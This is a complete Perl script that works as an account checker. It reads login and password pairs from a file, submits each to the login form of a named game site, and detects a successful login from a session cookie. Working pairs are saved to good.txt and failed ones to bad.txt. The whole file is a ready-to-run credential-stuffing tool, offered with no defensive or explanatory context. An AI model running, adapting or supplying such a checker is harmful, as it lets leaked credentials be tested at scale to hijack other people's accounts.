#!/usr/bin/perl   


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt'); 
chomp(@base = <BASE>);
close(BASE);


sub logg
   {
	my ($data, $file) = @_;
	open(OUT, ">> ".$file);
	print OUT "$data\n";
	close(OUT);
   }



sub check
   {
	my ($auth_data) = @_;
	$cookie_jar->clear();
	$auth_data =~ /\;(.+?)\;(.+?) \[/g;
	my $login = $1;
	my $pass = $2;

	print "$login:$pass";
	my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
	if($cookie_jar->as_string =~/dle_password=/)
	   {
		print " : GOOD\n";
		logg("$login:$pass", "good.txt");
	   }

	else
	   {
		print " : BAD\n";
		logg("$login:$pass", "bad.txt");
	   }

   }


foreach (@base)
   {
	check($_);
   }